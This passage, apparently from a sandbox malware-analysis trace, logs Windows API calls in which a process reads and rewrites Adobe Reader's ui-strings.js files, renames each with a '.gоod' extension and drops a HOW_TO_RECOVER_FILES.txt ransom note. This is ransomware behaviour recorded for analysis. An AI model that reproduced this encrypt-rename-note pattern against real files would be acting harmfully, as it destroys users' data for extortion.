lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0250.908] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0250.908] FindClose (in: hFindFile=0x134b160 | out: hFindFile=0x134b160) returned 1 [0250.908] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec480) returned 1 [0250.908] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec440) returned 1 [0250.908] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\de-de\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\de-de\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0250.908] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2f0) returned 1 [0250.908] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\de-de\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\de-de\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3882638 | out: lpFileInformation=0x3882638*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5ae)) returned 1 [0250.908] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec2b0) returned 1 [0250.908] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\de-de\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ebc80, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\de-de\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0250.908] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1a0) returned 1 [0250.908] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\de-de\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\de-de\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a0 [0250.908] GetFileType (hFile=0x8a0) returned 0x1 [0250.908] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec110) returned 1 [0250.908] GetFileType (hFile=0x8a0) returned 0x1 [0250.909] GetFileSize (in: hFile=0x8a0, lpFileSizeHigh=0x202ec348 | out: lpFileSizeHigh=0x202ec348*=0x0) returned 0x5ae [0250.909] ReadFile (in: hFile=0x8a0, lpBuffer=0x3882f90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ec278, lpOverlapped=0x0 | out: lpBuffer=0x3882f90*, lpNumberOfBytesRead=0x202ec278*=0x5ae, lpOverlapped=0x0) returned 1 [0250.910] CloseHandle (hObject=0x8a0) returned 1 [0252.609] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\de-de\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ebc80, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\de-de\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0252.609] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1a0) returned 1 [0252.609] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\de-de\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\de-de\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0252.610] GetFileType (hFile=0x824) returned 0x1 [0252.610] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec110) returned 1 [0252.610] GetFileType (hFile=0x824) returned 0x1 [0252.610] WriteFile (in: hFile=0x824, lpBuffer=0x394a548*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x202ec188, lpOverlapped=0x0 | out: lpBuffer=0x394a548*, lpNumberOfBytesWritten=0x202ec188*=0x5b0, lpOverlapped=0x0) returned 1 [0252.611] CloseHandle (hObject=0x824) returned 1 [0252.611] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\de-de\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\de-de\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0252.611] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\de-de\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\de-de\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x8a [0252.611] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2b0) returned 1 [0252.611] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\de-de\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\de-de\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x202ec390 | out: lpFileInformation=0x202ec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x92c7a483, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5b0)) returned 1 [0252.611] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec270) returned 1 [0252.611] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\de-de\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\de-de\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\de-de\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\de-de\\ui-strings.js.gоod")) returned 1 [0252.612] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\de-de\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\de-de\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x90 [0252.612] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec4b0) returned 1 [0252.612] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\de-de\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\de-de\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x824 [0252.613] GetFileType (hFile=0x824) returned 0x1 [0252.613] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec420) returned 1 [0252.613] GetFileType (hFile=0x824) returned 0x1 [0252.614] WriteFile (in: hFile=0x824, lpBuffer=0x394de58*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ec578, lpOverlapped=0x0 | out: lpBuffer=0x394de58*, lpNumberOfBytesWritten=0x202ec578*=0x5d0, lpOverlapped=0x0) returned 1 [0252.614] CloseHandle (hObject=0x824) returned 1 [0252.614] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0252.614] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-ae", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-ae", lpFilePart=0x0) returned 0x77 [0252.614] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-ae\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aec0 [0252.789] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.789] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x53d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0252.789] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0252.789] FindClose (in: hFindFile=0x134aec0 | out: hFindFile=0x134aec0) returned 1 [0252.789] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec480) returned 1 [0252.789] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec440) returned 1 [0252.789] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0252.790] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-ae", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-ae", lpFilePart=0x0) returned 0x77 [0252.790] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-ae\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b1c0 [0252.790] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.790] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x53d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0252.790] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x53d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0252.790] FindClose (in: hFindFile=0x134b1c0 | out: hFindFile=0x134b1c0) returned 1 [0252.790] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec480) returned 1 [0252.790] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec440) returned 1 [0252.790] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-ae\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-ae\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0252.791] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2f0) returned 1 [0252.791] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-ae\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-ae\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3bb36e8 | out: lpFileInformation=0x3bb36e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x53d)) returned 1 [0252.791] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec2b0) returned 1 [0252.791] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-ae\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ebc80, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-ae\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0252.791] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1a0) returned 1 [0252.791] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-ae\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-ae\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a0 [0252.791] GetFileType (hFile=0x8a0) returned 0x1 [0252.791] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec110) returned 1 [0252.791] GetFileType (hFile=0x8a0) returned 0x1 [0252.791] GetFileSize (in: hFile=0x8a0, lpFileSizeHigh=0x202ec348 | out: lpFileSizeHigh=0x202ec348*=0x0) returned 0x53d [0252.791] ReadFile (in: hFile=0x8a0, lpBuffer=0x3bb3fd0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ec278, lpOverlapped=0x0 | out: lpBuffer=0x3bb3fd0*, lpNumberOfBytesRead=0x202ec278*=0x53d, lpOverlapped=0x0) returned 1 [0252.792] CloseHandle (hObject=0x8a0) returned 1 [0252.819] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-ae\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ebc80, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-ae\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0252.819] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1a0) returned 1 [0252.819] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-ae\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-ae\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a0 [0252.820] GetFileType (hFile=0x8a0) returned 0x1 [0252.820] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec110) returned 1 [0252.820] GetFileType (hFile=0x8a0) returned 0x1 [0252.820] WriteFile (in: hFile=0x8a0, lpBuffer=0x3c2cf28*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x202ec188, lpOverlapped=0x0 | out: lpBuffer=0x3c2cf28*, lpNumberOfBytesWritten=0x202ec188*=0x540, lpOverlapped=0x0) returned 1 [0252.820] CloseHandle (hObject=0x8a0) returned 1 [0252.820] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-ae\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-ae\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0252.820] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-ae\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-ae\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x8a [0252.820] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2b0) returned 1 [0252.820] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-ae\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-ae\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x202ec390 | out: lpFileInformation=0x202ec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x92e904ea, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x540)) returned 1 [0252.820] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec270) returned 1 [0252.820] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-ae\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-ae\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-ae\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-ae\\ui-strings.js.gоod")) returned 1 [0252.821] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-ae\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-ae\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x90 [0252.821] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec4b0) returned 1 [0252.821] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-ae\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-ae\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x8a0 [0252.822] GetFileType (hFile=0x8a0) returned 0x1 [0252.822] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec420) returned 1 [0252.822] GetFileType (hFile=0x8a0) returned 0x1 [0252.823] WriteFile (in: hFile=0x8a0, lpBuffer=0x3c30838*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ec578, lpOverlapped=0x0 | out: lpBuffer=0x3c30838*, lpNumberOfBytesWritten=0x202ec578*=0x5d0, lpOverlapped=0x0) returned 1 [0252.828] CloseHandle (hObject=0x8a0) returned 1 [0252.828] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0252.828] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-gb", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-gb", lpFilePart=0x0) returned 0x77 [0252.828] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-gb\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) 